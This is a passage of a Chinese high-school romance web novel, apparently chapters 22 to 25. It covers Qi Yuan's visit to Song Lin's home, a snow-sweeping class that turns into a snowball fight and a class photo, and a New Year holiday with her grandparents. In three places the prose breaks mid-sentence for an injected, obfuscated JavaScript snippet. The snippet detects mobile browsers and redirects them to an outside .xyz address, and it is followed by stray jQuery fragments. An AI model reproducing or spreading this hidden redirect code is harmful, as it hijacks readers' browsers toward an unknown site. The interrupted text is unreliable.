“当时注意力全在狗身上了,没想那么多。” “哦,”他顿了下,回答前面的问题:“不是亲戚,这是我爸的狂热粉丝。” “狂热……粉丝?”祁缘听的一愣,宋嶙一边写作业一边讲故事:“她是隔壁小区刚搬来的,听说好像是她丈夫死家里了,她有点儿害怕就出来租房子,后来出来买早餐就遇到我爸了,估计一见钟情了,就天天来买我爸的包子。” 他想想就好笑:“之前我爸胃病犯了没出摊,她还到处打听,对我爸嘘寒问暖的,这么一传别人还以为他俩有事儿,给我爸气死了,出摊第一天碰到她就给她说了,结果人家没当回事,现在还在死缠烂打呢。” 这故事倒是把祁缘听乐呵了,她听的可起劲儿,宋叔叔看上去那么强壮,没想到他居然有胃病。还有那个女人,怎么说都不放手,也是有很强的毅力呢。 “那她怎么会知道你家住哪?”就算是两个小区挨着,她也不应该精准到知道他家住哪楼哪层吧? “之前她就来过我家一趟,也是往狗身上扯理由,具体是啥原因我给忘了,反正之后就来上瘾了,现在一发不可收拾,三天两头来一趟。” 宋嶙捂着脑袋:“我爸说过他这辈子只喜欢我妈,我妈去世了那他就孤独终老,他又不是没跟那女的说过,说了八百遍不喜欢她,还天天往跟前凑,狗皮膏药一样,烦死人了。” 他是真的烦,现在一想起那个女的那张脸他都难受的抓心挠肝,等她什么时候把他惹急了,他就得替宋健想点法子治治她了。 “宋叔叔居然是这么痴情的一个人。”祁缘叹出一口气,感慨道。 闻言,宋嶙掀起眼皮,仰靠在沙发角,支起一条腿来,手搭在上面:“没办法,我们姓宋的都是大情种,要爱一个人就爱一辈子,什么含金量,懂吗?” 他语气轻快,但听着总有点儿誓言的意思。祁缘立着小腿,前后晃荡:“等你找到那个喜欢的人再说这话。” “我找到了啊。” 祁缘顿住。宋嶙没注意到她浑身僵硬的样子,继续漫不经心道,“只是现在时机不对,喜欢现在也说不出口。” 祁缘垂着头,跳动的心猛然一颤,然后缓缓沉了下去。她眼睛开始找不到聚焦点,额前的刘海垂下来几根,落在脸上,痒痒的。 她身边没镜子,但她知道自己现在的表情,一定很落魄,很难看。 她没见过宋嶙和哪个女生走的近,也没听陈子涛和何浩楠提过,她想不到是谁。她也不敢问是谁。 可能是她太自恋了,她居然有一瞬间幻想过是自己,但她立马又甩了甩头,宋嶙无数次说过:她是他的妹妹。 祁缘感觉到鼻尖的酸涩,她躺下来,想让呼之欲出的眼泪倒流回去,宋嶙眸光一转,他这个位置看不到她,茶几刚好挡住她的脸。 他半开玩笑地问:“我都把我的秘密说出来了,你是不是也应该告诉我你有没有喜欢的人?” 怕宋嶙刨根问底,祁缘想都没想,一口否决:“没有。” 她说过自己不想骗人,却又一次骗了他。 在祁缘看不见的地方,宋嶙的手微微一紧,心脏变得沉重,就连呼吸也是。 空气安静了两秒,他调整好自己的情绪,笑道:“挺好的,没有喜欢的人心也就不会乱,好好学习呗,考个好大学,多好。” 她很轻地“嗯”了一声,她的心早就乱了,随着他这句话说出口,心脏就像是被一根麻绳绑住了一样,她挣脱不开。 越使劲,就绑的越紧。她需要一段时间来释怀。 两人很久都没再开口,还是宋健回来才打破了这个僵局。 他拎着大大小小的塑料袋进屋,扶着门边喘气儿,给祁缘提了个醒:“小缘啊,叔叔把早上送去洗澡的狗带回来了,有点儿大,但不咬人,总之你别害怕啊。” 她不懂一岁大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957264|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗有什么好怕的,直到它从门后进来,她紧张的瞪大眼睛,咽了口唾沫,这狗都快有她高了。 宋嶙拍手招呼它:“托马斯,过来。” 狗如其名,真挺像火车的…… 到底是主人,托马斯一听见指令就兴冲冲的跑过去,结果快到跟前时突然站住了,小脚一滑差点没刹住车。 宋嶙手一顿,皱眉:“你干嘛去啊?” 托马斯歪头看着祁缘,她第一次来,一人一狗还没见过面,它慢慢凑到她身边,先嗅嗅她的头发,又闻闻她的手。祁缘两眼发懵,却又因为这个庞然大物紧张的不行。 她壮起胆子,伸手摸了摸它顺滑的毛发,大狗似乎开心了,围着她身边蹦了一圈,然后前爪一伸往她腿上一趴,粉红的舌头吐在外面。 “不是你怎么叛变呢?我才是你主人!”宋嶙吆喝它:“你赶紧给我过来!” 只见托马斯扭着脑袋就往祁缘怀里钻,祁缘被逗笑了,反手抱住它:“好可爱的狗狗。” 宋健笑笑:“它还挺喜欢你。” 宋嶙抱着胳膊,一脸无奈:“那我呢?” “你写作业。”宋健从兜里掏出两袋面包,扔给宋嶙一袋,又递给祁缘一袋,让两人先垫垫肚子。自己则在一边系上围裙,随即指着地上的菜袋:“小缘你过来看看吃点啥?” “叔叔你不用做太麻烦的,我吃什么都行。” “行,那我就直接做了。” 两人有说有笑的,宋嶙坐在那里干看着,自己像是个局外人。他一脸生无可恋的表情,吹着口哨叫了两声托马斯,结果就连狗也不搭理他。 “妈的。”他捏着眉心,真是气笑了。 宋健做了四个菜,都是炖的,下午两点才出锅。祁缘饿的肚子咕噜咕噜响,但在别人家也不能吃相太难看,她只吃了两块肉,其余时间一直在夹青菜。 “怎么在叔叔家还装假呀?吃那么一点儿好像小猫吃的。”宋健看的直揪心,转头看见宋嶙吃的狼吞虎咽的他就更揪心了,他坐在对立面够不到,使唤宋嶙:“儿子你别光顾着自己吃,她不好意思夹,你给她夹。” 宋嶙就等着这句话呢,要不然他突然给她夹菜多奇怪。他拿起手边准备好的还没用过的新筷子,抬手给她夹了几块排骨搁碗里,祁缘说了好几遍够了他都没听,直到摞成个小山尖儿才停下。 “……”这么多,让她怎么吃? 她还在犹豫,对面的宋健似乎很满意这个作品,喜笑颜开道:“对,儿子,等她一会儿吃完了你再继续给她夹,要不然我怎么说她都不好意思。” 宋嶙在旁边咬着筷子,见状闷笑一声:“我知道了爸。” “……”他们父子太热情了,祁缘有点儿招架不住,小半碗米饭,大半碗肉,她都不知道该怎么吃了。 宋嶙抬了抬下巴:“你尝尝,看看是昨天的排骨好吃还是今天的排骨好吃?” “肯定是……”宋健说一半反应过来:“什么昨天今天的?” 祁缘边吃边说:“昨天外婆也做了排骨啊。” “那你外婆做排骨宋嶙怎么知道?”宋健回过神来,扭头质问起宋嶙:“你昨天在外边嘚瑟一天,整半天上他们家吃饭去了?” 宋嶙没忍住笑出声:“对啊。” 宋健听完瞬间来了脾气:“你小子,去蹭饭怎么都不叫我?” “叫你干什么?我就是怕你跟着我去我才没告诉你的。” “你这小兔崽子!” 23. 第 23 章 北城的雪今年下的特别晚,一直拖到了十二月中旬才依依不舍的飘落下来。应该是从半夜开始的,早上起来积雪已经没过脚面,院外有几棵树,光秃秃的枝干上压了一层白。 下雪了,就意味着正式进入冬天了。祁缘在冯丽的唠叨下在卫衣里面套了个保暖背心,吃过早饭后又帮殷鹏在院子里扫了会儿雪,然后才背着书包去上学。 鞋子走在雪地里发出的声音吱嘎吱嘎响,雪后的空气很冷,又很清新。祁缘隔着围巾喘气儿,鼻子里吸进了个绒毛儿,她打了个喷嚏,涌出几滴泪花。 她站在校门口,从这里到教学楼,这一片地面上的雪已经被比她先来的那部分人给踩平了,露出一条小路来。她抖了抖鞋面上的雪,低头把鞋套摘了扔进垃圾桶里。 祁缘算是赶上了好时候,教室里的空调是前几天刚安装好的,现在正呼呼往出吹着热气。她之前听宋嶙吐槽,说他们去年是靠着根本没温度的地热苟活过来的。 他当时还说自己差点儿冻死了,祁缘不信,她感觉他是她见过的这么多人里面最抗冻的。冯丽给她套的里三层外三层她都嫌冷,而宋嶙常常只穿一条外裤就可哪跑。 她问过他冷不冷,宋嶙疯狂点头,但就是不穿秋裤。 祁缘不信邪,今天的气温比昨天降了十度左右,这么大的温差,一呼一吸的哈气都重了几分,她不信他里面还能什么都不穿。 结果宋嶙除了这层外裤真就什么都没穿。 “……” 他把刚掀起来的裤脚退下去,祁缘这下是真的打心底里佩服他了,一冬都穿这么点儿而且只感冒了一次,她真不知道该用什么样的言语来形容他了。 半晌,她张了张口:“你还是人吗?” “……”宋嶙舌尖顶着腮帮子,指尖有一下没一下的在桌面上敲着,他好一会儿没说话,因为不知道说什么。 看她一脸平静的样子,他在心里纳闷,她真就没觉得自己说这话有点容易让人误解吗? 见他半天不说话,祁缘这才反应过来,小心翼翼的改口:“其实我是想问你是不是正常人。”她又摇摇头:“这么问好像也不太对……” 宋嶙脸上这下终于有点儿表情了,他深吸一口气,极度无语:“行了,问到这儿就得了,越描越黑。” 祁缘放弃挣扎:“……好。” 马上要上课了,第一节课是物理,她把书本什么的都挑出来准备好,宋嶙见状也跟着把书拿出来了。她给他补习了这么久,他虽然还是有不少没学会的,但跟进度其实大差不差,没什么问题了。 往往在这个时候他就要安慰自己了,他总不能一口吃成个胖子吧?祁缘对他的状态也是很放心,谁得焦虑症他都不会得。 铃声大响,物理老师前脚刚踏进来,后脚还没跟上,一把被崔荣给拉了出去。他差点儿没站稳,推了下眼镜:“崔老师,有什么事吗?” 崔荣解释说:“物理老师,这节课你就先别上了,校长刚才发通知说这节课让学生出去扫雪。” “扫雪?还占用学生上课的时间?”物理老师看样子也不是个善茬,他气急败坏地说:“我都不知道这一天一个个都是怎么想的,孩子们都高二了,不应该以学业为重吗?扫雪不会利用课余时间吗?” 他以前是在市高中教书,那里从来没有这一说,什么时间该干什么就干什么。现在是因为家里的老母亲生病了他才不得不回来,他实在不理解这个学校校长主任的做法。 崔荣是个老好人,跟谁都和和气气的,物理老师平时尽职尽责他都看在眼里,他是个十分认真且非常优秀的老师。可眼下也只能遵从校长的意见,经过一番劝解他才终于消了点儿气。 物理老师甩了甩手,只能被迫接受这个局面,“行了,那我就先回去了,你们忙吧。” “哎哎,好。” 别看这教室破破烂烂不咋地,但只要关上门隔音效果却是出奇的好,他们只看到崔荣把物理老师给拽出去了,说了什么可是一点儿都听不到。 何浩楠更会猜:“他们俩不会在门外打起来了吧?” 宋嶙头也不回,抱着手臂冷笑:“你那脑袋卡尿道里了啊?” “……”何浩楠吃了瘪,动了动嘴唇,一时间不知道该说什么好。 下一秒崔荣进屋,大声吆喝道:“来来来都出来,这节课不上了都出去扫雪去。” 祁缘闻言心脏都漏了一拍,雪后的天是最冷的,就算她身上穿了好几层,裹成一个臃肿的球,她都不愿意出去。 反观宋嶙,他倒是开心的很,崔荣刚说完他就窜到班级卫生角挑铲子去了。拿在手上挥了挥,满意道:“这个结实,你俩等着。” 这话不言而喻,指的是陈子涛和何浩楠。 陈子涛算是忘了宋嶙那股子牛劲儿了,撸起袖子也去后边挑了把,不太硬实但好歹也不赖,一脸死到临头还嘴硬的样子:“爹要好好教育教育你了。” “口气这么大,一会儿给你打成孙子。” 估计是秉承着不用上课的想法,他们一个比一个穿的单薄,却像不知道冷似的,在扫雪这件事上表现的像个冲锋陷阵的勇士。祁缘紧了紧衣裳,她不理解。 班级的铲子不多,就那么几把,大多数人还是要去学校卫生部取的。祁缘拿起来试了试,有很多都是坏的。 她挑了一把还算可以的,最起码前面的铲子头不能老掉,要不然她还怎么干活? 领好铲子就要认真干活了,祁缘拖着工具回到操场,满是乌泱乌泱的人头,这么一看北中的人还真不少。 人多杂乱,扫雪这活儿无拘无束的,有的人就喜欢到处去别的班跑,祁缘就是看何浩楠在那边跟人打趣差点儿认错,最后还是顺着记忆找到高二四班分担区的。 刚开始班主任都会跟着自己班同学扫一会儿,估计是觉得太冷了有点儿受不住,有些人就趁着学生不注意偷偷溜回办公室了。 祁缘看着操场上的老师逐渐所剩无几,刚想感慨一下她碰到个好老师,结果一回头,崔荣也不见了。 “……”她也不知道该说什么好了,想都不用想,崔荣肯定是回去喝茶水了。 祁缘叹了口气,她感觉自己快冻死了,只能早铲完早回去了。她刚低头,后背突然被什么东西轻轻砸了一下。 祁缘想到了什么,回头,果然,宋嶙正在不远处笑眯眯地看着她,一只胳膊拄在铲子杆上,另一只手抛着雪球,扔起来再掉在手上,反复重复。 “干嘛?”她问。 “你说干嘛?”他终于不抛了,抬手把手中的雪球扔到她裤腿上,“光扫雪多没意思,过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957265|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打雪仗。” “不要。” 祁缘想都没想就拒绝了,这么冷不说,他们两个身高差三十厘米,同意跟他打雪仗,那她真是想不开了。 宋嶙把铲子丢到一边,在地下又捏了一个,扔她衣摆上:“赶紧的,不使劲儿揍你。” 这是在强迫她加入。 她看了一圈儿周围,不知道什么时候开始,像她这么死脑筋扫雪的人没几个了,好像都在打雪仗,其中有几个还把一个人给埋雪堆里了。 她眯着眼仔细看了下,那个人好像是何浩楠。 既然都不扫了,那回班的计划也就遥遥无期了,祁缘拍了拍衣服上的雪,把铲子丢到一边:“那你轻点儿奥。” “什么时候跟你使劲儿过?”宋嶙来了兴致,他估计经常打,造雪球的速度不是盖的,感觉一分钟能搓二十个。 祁缘刚开局就落了下风,自己在那仔仔细细造雪球,身上已经不知道挨了多少下了。她不乐意了,皱眉道:“你能不能慢点儿?” “呦呵,你还跟我讲上条件了。” 宋嶙这人蔫儿坏,谁也想不到他下一秒要做什么,祁缘刚低头,突然整个人被抱起来,她一点儿心理准备没有,“啊”了声,转头四脚朝天摔进了雪堆里。 “宋嶙!”祁缘小脸皱巴成一团,挣扎着坐起来,拍了拍头发上的雪,宋嶙抱着肚子在那边笑的前仰后合,“能不能有点儿戒备心啊?跟你玩儿都不需要留心眼儿。” “跟我们你总得留心眼儿了吧?” 宋嶙光顾着笑了,注意力全在祁缘身上,这俩货什么时候回来的他都没留意。两人一人一脚,宋嶙扑通一声跪到地上,肩膀被扣的死死的。 他苦笑着挣扎:“你俩刚才不是去一班了吗?” “一班哪有你好玩儿?” 何浩楠给他放倒,腿在上面压着,两只手也被他攥到一起,给祁缘使眼色:“过来,我们哥俩帮你报仇。” “我给他埋雪里,你往他身上补雪球。” 祁缘这下乐了,一个劲儿的点头:“好。” 她蹲下开始捏雪球,想捏个大的,计划赶不上变化,就听何浩楠尖叫一声,祁缘看过去,宋嶙撑着地面整个人翻起来,她想不到这人是有多大的劲儿,现在换成他把何浩楠骑在身下了。 “……”祁缘把雪球拿到背后,宋嶙撇了她一眼,道:“干嘛呢?打我行打他不行啊?咱俩谈个条件,你打他我就不摔你了。” 陈子涛阵营转变的速度非常快,他现在再不支持宋嶙自己一会儿就得遭殃,他给祁缘使眼色:“没事儿,打何浩楠也行,你记得往脸上揍。” “你们几个……妈的……是人了?”宋嶙劲儿太大,何浩楠被他拧着胳膊,这小子估计算好了的,他要是不动就不疼,稍微动一点儿就是钻心的疼,他现在这个姿势就是个活靶子。 陈子涛不挑,反正在他眼里只要不是他挨欺负就行。拿手扬不够快,从脚边拽过来把铲子,用铲子扬。 场面太过激烈,祁缘有点儿于心不忍,她下不去手,索性把捏好的雪球给宋嶙了,他可不管三七二十一的,接过来拿着就往何浩楠衣领里塞。 祁缘看的心一咯噔。被压在身下那人凉的直缩脖子:“宋嶙你给我等着。” 他笑的张扬:“嗯呢。” 24. 第 24 章 崔荣喝完热水出来,看见操场的局势天都塌了。 别的班玩归玩,闹归闹,但好歹雪扫的差不多了,而他们班没扫的还有将近一半,一个个造的一身雪不说,玩的还不亦乐乎。 同样是没老师看着,怎么他们班就这么不让人省心呢?崔荣急得脚打后脑勺,直拍大腿:“孩子们,动起来呀!还想不想上课啦?” 一个个玩的正乐呵,异口同声道:“不想。” “……”崔荣无奈地捡起地上的铲子,不停催促道:“赶紧的赶紧的,我可没跟你们闹笑话,一会儿校长出来检查咱都得受罚!” 宋嶙听完扯了下嘴角:“崔哥你受罚不是应该的吗?搁屋待着喝那老些水。” “……”这小子向来心直口快,崔荣一时语噎,磕磕巴巴的说:“我就回去润润嗓子,又没多大一会儿。” “荣嬷嬷你怎么能带头撒谎呢?我们可都是给你计着时的,四舍五入都差不多一个小时了,你……” 陈子涛一本正经的说,崔荣赶忙比了个“嘘”的动作,还有那么多外班学生在呢。他笑的牵强:“来来来大家一起干。” 别的班老师呵斥一声就好使,他呵斥没用,得哄。直到看见一个个都动起来了,他这才松了一口气。作为班主任他是歇一会儿都不行,但凡这活儿他有一点儿没干上,这帮懒蛋都得疯着替他鸣冤。 眼看着别的班已经扫完陆陆续续回去了,崔荣越发的心急,铲子轮的都快要飞起来了。他把头上的帽子摘下来抖了抖,塌掉的头发正呼呼冒着热气,他扶着铲子喘气儿,大冷天硬是给他干热了。 这时校长领着几个主任出来检查了,看着干净的地面甚是满意,点头称赞的目光一直到了高二四班这儿才停了下来。 其中一个胳膊别着红袖标的主任站了出来,问:“别的班都回去了,你们班怎么还有这么多没打扫完?” 他是新来的,主要负责学校的卫生,手上拿着文件夹,一个小干部被他硬生生做成了领导的气势。 崔荣想到下节课是自己的数学课,只好忍痛割爱,赔笑道:“下节我们班体育课,这孩子们老在屋里圈着都给圈坏了,我寻思反正也不着急就慢慢扫吧。” “体育课也不能……”这主任还要说,一副指点江山的样子,校长在身后咳了声,他才悻悻闭上嘴。 校长上前一步,崔荣一直是他们学校的老好人,当初他刚入职的时候他把这个学校最差的班给他带他也没什么怨言,不给别人面子也得给他面子:“行,劳逸结合也挺好,慢慢干吧,这点活干完也就是早点晚点的事儿。” “好好,扫干净点儿我们再回教室。” 检查小队走了,陈子涛过去手搭崔荣肩膀上,表情挤眉弄眼的:“这新来的主任这么飘呢?啥都管,跟个事儿妈似的。” “唉,听说这是校长关系户进来的,做事大摇大摆也正常。”崔荣突然反应过来,打掉他肩膀上的胳膊,凶巴巴的:“要不是你们光顾着玩儿,咱是不是早回班去上课了?” “又赖上我们了,你回办公室喝茶……”崔荣要被这两个小子气死了,轮流提这事,恐怕别人不知道。他捂住陈子涛的嘴,对其余人抬了抬下巴:“来来来咱先干活儿。” 一想到又要在外面待一节课,祁缘生无可恋地捡起铲子,跺了跺冻僵的脚,继续干了。 又过了大概二十分钟,积雪已经全部摞在一起堆积成一个大雪堆,祁缘刚要回去送铲子,就听到有人提议:“这雪堆这么摆着多丑,要不咱一起堆个大雪人吧?” 这么冷的天,堆你个头啊? 崔荣把手机打开看了眼,离下课还有十五分钟,就算回去讲课也讲不了多少,干脆让孩子们玩个痛快吧。他答应:“行,咱现在就开始吧,然后一会儿咱全班在拍个大合照。” 祁缘在没人注意到的地方极不情愿地翻了个白眼儿,她今天怕是要冻死在这儿了。 说干就干,崔荣分工明确,分为男生队和女生队两大组合,男生们负责滚雪人的身体,女生们负责滚雪人的脑袋。忙活了半天,却在组合的时候发生了争执。 男生们对这个脑袋表示十分的不满意:“你们女生怎么搞的?我们做了这么大的身体,你们整那么小个脑袋,干嘛呀?cos小头爸爸呢?” 女生们也表示不服气:“嫌我们做的小那把你们的当脑袋不就好了?” “666现在又想cos大头儿子了是吧?” “那你们有本事你们自己做脑袋啊!” “做就做,谁稀罕你们那脑袋一样!” 两边吵的不可开交,崔荣站出来打马虎眼儿,“这脑袋我看挺好的,咱就用这个吧。” “荣嬷嬷你就不要插手了,我们就要看看这帮男生到底要做多大的头!”崔荣嘴里还说着“这这这”,转眼间就被挤到了后边。 这帮孩子,学习的时候怎么就没有这么强的好胜心呢? 祁缘把冻的通红的手揣进口袋,吸了吸鼻子,退后两步蹲下来。她以前挺爱堆雪人的,可是今天太冷了,她只想赶紧拍完照然后回教室待着。 宋嶙没看到她忙碌的身影,抬头找,一转头就看见她在这边蹲着,顶着红彤彤的脸颊看人,大眼睛扑闪着,一副我见犹怜的样子。 他从人群中退出来,走到她旁边,把衣服脱了下来,祁缘瞳孔微颤,赶忙拒绝:“我不要啊我不要。” 宋嶙嗤笑一声,把棉服上的暖宝宝撕下来给她:“你还真是被我照顾习惯了,我里面就一件卫衣,我还能把我棉服给你啊?” “裹的跟个球似的,还想这么多……”祁缘一把捂住他的嘴,难堪道:“别说了我知道了。” 宋嶙露出两只眼睛,笑眯眯的,眼底像要柔出水来。她见他安静了才把手放下,拿着他给的暖宝宝,冻僵的手瞬间回温。她攥了会儿,问:“给我了你怎么办?” 他满脸无所谓:“从出来开始就一直在玩儿,我都忙活冒汗了,你留着暖手吧。” “哦。” 宋嶙哼笑一声:“你现在都不和我说谢谢了,以前可都是挂嘴边的。” 祁缘想了想,好像是这么回事儿。她小声说:“你不是我哥哥吗?” 他笑容在嘴边僵住,站起身来,拍了拍屁股上的雪,走时不忘骂她一句。 “小没良心的。” 谁要当你哥。 临近下课,雪人终于要堆完了,只不过有四个脑袋。 崔荣头都大了,一个个怎么劝解都不听,男生要放他们的脑袋,女生不同意,非要放自己做的,争辩了半天,最后按照大小排序摞成一个摞。现在侧面看上去歪歪扭扭的,正面看也没好到哪儿去,奇形怪状的。 眼看着他们还想争辩出个一二三来,崔荣把他们拉开,招呼一个男生去办公室把他的手机支架拿过来。 “OK啊崔哥。”那男生跑着去的,笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957266|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来的。他拿在手里晃了晃,还以为多大的手机支架,结果立在那儿还不到一个小臂高。 崔荣拿过来,拍了下他的肩膀,“花九块九买的呢,你别给我整坏了。” 说完这句话那男生笑的更放肆了。 崔荣把支架摆到前面不远处,手机夹上边,调整了下镜头,好让身后的大雪人也能照进去。他几乎是拧着眉调完的,在镜头里看这雪人更丑了。 面对学生他又马上把脸变回去,他这人最擅长的就是鼓励式教育,违心夸赞道:“这雪人做的太好看了,大家快站好队形,摆个pose咱们就开始拍照了。” 祁缘看见陈子涛正在把宋嶙往中间的位置推,她紧抿着唇,自己跟班里的女生并不熟,平时也不怎么接触,站哪都不合适,于是随便选了个角落的位置站好,右边没人,她还能松快一些。 宋嶙的目光在周围扫了一圈儿,一看祁缘站的位置简直偏的不能再偏,扭头就往那边走,陈子涛拉住他:“你干嘛去?这次不跟我抢C位了呀?” 何浩楠把他的手打掉,坏笑道:“人家要去找妹妹啦。” 宋嶙板起脸:“你别酸。” 说完只留给他们一个背影,何浩楠的小眼睛瞪大好几倍,找旁边的陈子涛哭诉:“你看看我说啥了?昔日的好兄弟居然给我摆脸色看。” “他俩肯定有事儿。” 祁缘突然感觉肩膀沉甸甸的。 她侧头,肩膀上正捏着两只骨节分明的大手,细嫩的皮肤冻的发红,宋嶙吸了吸鼻子,把她的头掰正。 “看镜头。” 祁缘见状压了压嘴角,忍住笑意,视线重新回到前面的手机上。 崔荣调好了倒计时,所有人都摆好了姿势,女生们给他留了个前排位置,他坐下,全班一起倒数:“3!2!1!” 镜头一闪,高二四班全体同学的青春定格在这张雪景相片里,教室外的聒噪喧嚣,正是他们朝气蓬勃的代名词。 山高水长,此时的他们永远风华正茂。 听崔荣说照片已经发到了家长群里,祁缘一放学就迫不及待的跑回家,冯丽的手机没有密码,锁屏划开就能打开微信。 照片几个小时前就已经发出来了,下面有几个家长一连发了好几个点赞的表情,有个别的是夸赞老师的,什么“感谢崔老师的栽培”这种话,既然有第一个发的就有第二个。 这种客套话太多,她不想看,接着往上划,找到照片点进去,她先是看了一眼全班同学,最后才放大去找她想找的那个人。 照片中,少年站直着身子,模糊的像素都不能掩盖住他精致的五官。只见宋嶙微抬着下巴,扬起一边唇角,笑的散漫又张扬。 而他前面的少女,肩膀上正搭着两只大手,她顶着一张小巧的鹅蛋脸,笑起来清纯又明媚。 因为她后面正站着她心之所向的那个人。 是群像,也是他们的第一张合照。 冯丽进来就看见祁缘正对着手机傻笑,凑过来看清楚后,轻轻摸着她的头:“我们阿缘真是越来越漂亮了。” 祁缘对她的突然出现浑然不知,还好她和宋嶙是站在一起的,要不然她要是一直这么盯着宋嶙看,到时候解释都解释不清。 她把手机还给冯丽,红着脸说自己要回房间写作业了。 冯丽“嗯”了声,盯着她笑,祁缘捂着脸赶快逃走了。 她是不是太明显了? 25. 第 25 章 自从今年的第一场雪落下以后,有了开头,后面的雪也就接二连三的下了起来。先前的还没化掉,就又来了波新的,地面的积雪被来来往往的行人踩实,结成了一层厚厚的冰。 整个世界都变得白花花的。 天气也变得越来越冷,有一晚夜间的气温甚至突破了零下三十度。祁缘记得那天殷鹏烧了好多柴火,是平时的两倍。冯丽也从衣柜里翻出来几床棉被,还好先前有阳光的时候拿出来晒了一天,要不然潮的都不知道要怎么用。 不知道这个冬天还有多久才能过去。祁缘趴在窗前,她是喜欢雪,但是今年外面实在是太冷了,她现在一想到每天七点就要从温暖的被窝里抽离出来,她就感到一阵痛苦。 时间一晃,来到元旦,学校放了三天假。 明天不用起大早,今晚可以尽情的熬夜,祁缘和冯丽看电视一直看到了凌晨一点才依依不舍的钻进被窝。她伸了个懒腰,把被角掖好,一想到可以一觉睡到明天中午,她反倒还失眠了。 好在,她在凌晨三点时终于迷迷糊糊的入睡了。原以为最大的难关已经过去,天不遂人愿,她早上六点就被鞭炮声给崩醒了。 这声音实在是震耳欲聋,她伸手在枕边扒拉半天,摸到了,一脸生无可恋的戴上耳塞,然后抬手把被子扯到头顶,结果忙活了半天一点儿用没有,鞭炮声还是顺着空钻进耳朵里去了。 祁缘现在睡意全无,睁开眼睛放空了一会儿,随后垂着脑袋坐起来,叹了口气,抱着枕边的毛绒玩具一顿抓狂。 说好的睡懒觉呢?三点睡,六点醒,中间还让电热毯热醒一次。 折磨死她算了。 坐床上发了会儿疯,冯丽在门外听见动静,知道她睡不着了,喊她出来吃早饭。 祁缘这人有个特点,她自然醒就什么事都没有,但如果她是被吵醒的,脑袋里就像有根筋扯着那种疼。比如现在,她难受得一会儿拄下巴一会儿扶脑袋,殷鹏在旁边观察她的一举一动,没忍住笑,“咋啊,怕脑袋掉碗里啊?” “……”祁缘挺着身子端正坐好,冯丽见状瞪了殷鹏一眼,“好好吃你饭不行?一大清早的非得逗孩子干啥?” “……”殷鹏不吱声了,清了清嗓子,喝了口手边的啤酒。祁缘把嘴里的白粥咽肚,劝说道:“外公,酒这东西本来就伤身体,你中午喝晚上喝,早上就别喝了呗。” 他笑,“没事儿,就喝这一杯。” “别的,才喝这么点儿哪儿够?再续点儿,一宿没喝了咋说也得过过瘾是吧?”冯丽这句话几乎是咬牙切齿说完的,接着俯身把地下剩那半瓶啤酒也拿上来,递给他,“喝吧,没人管你。” 殷鹏没搭理她,酒也没接,就让冯丽在手里拿着,他眼里没什么温度,看着像是要发飙。祁缘这下脑袋也不疼了,笑着把酒瓶子接过来,道:“外婆明明很担心外公,您就别说气话了。” 冯丽和殷鹏看着都挺和蔼可亲,但实则脾气都不小,女方刀子嘴豆腐心,男方更是说什么信什么,不爱听了也就生气了。他们两个这个性格有点儿相克,这时候要是没人出来打圆场,两人估计就要吵起来了。 祁缘记得自己刚来这里时“有幸”遇见过几次,但当时她被刺激的有点儿神志不清,对周围的一切都很钝感。他们吵时,她没想过缓和关系,只想自己赶紧找个藏身之处,躲避这世间的一切声源。 然而现在的她已经变得开朗许多,她不希望他们吵架,只希望他们今后的日子都能开心快乐,别再为一些鸡毛蒜皮的小事感到忧愁。 她能做的,只有在中间当个和事佬。 好在两个人都很听劝,冯丽不继续说了,殷鹏的脸色也逐渐缓和,没人纠缠着刚才的事情不放。半晌过后,冯丽问她:“元旦了,阿缘想没想好一会儿去哪里玩?” 没想好,她除了宋嶙几乎没交什么朋友,宋嶙也在昨天放学前就跟陈子涛他们约好了去网吧通宵,现在这个时间估计已经回家补觉了。 冯丽看着她落寞的样子就猜的差不多了,她又问:“班上有没有玩的好的女生啊?” 祁缘摇摇头,女生就更没有了,她和她们都只是维持着表面关系,谁也没想跟谁深入了解。 可每次看着别人都有好姐妹欢聚一堂的时候,她就会想起自己曾经也是这么和班上的女生无话不谈的,说不羡慕都是假的。 最后这顿饭以沉默结束。 三天假,她总不能一直在家里闷着,冯丽收拾完碗筷就开始穿衣服,催促祁缘:“你也回屋穿衣服去,一会儿跟外婆上街溜达溜达。” 祁缘本来想等外面安静了就睡个回笼觉的,这下也睡不了了,“哦”了声,转头回屋找衣服去了。 天这么冷,她把自己最厚的那件外套找出来,那衣服是殷曼给她买的,又抗风又保暖。她拽出来一掀,衣摆处湿了好大一块,甚至长了些霉斑。 祁缘叹了口气,应该是柜子离窗户太近,水汽进来出不去,这衣服又压在柜子的最底下,这才捂成这样的。 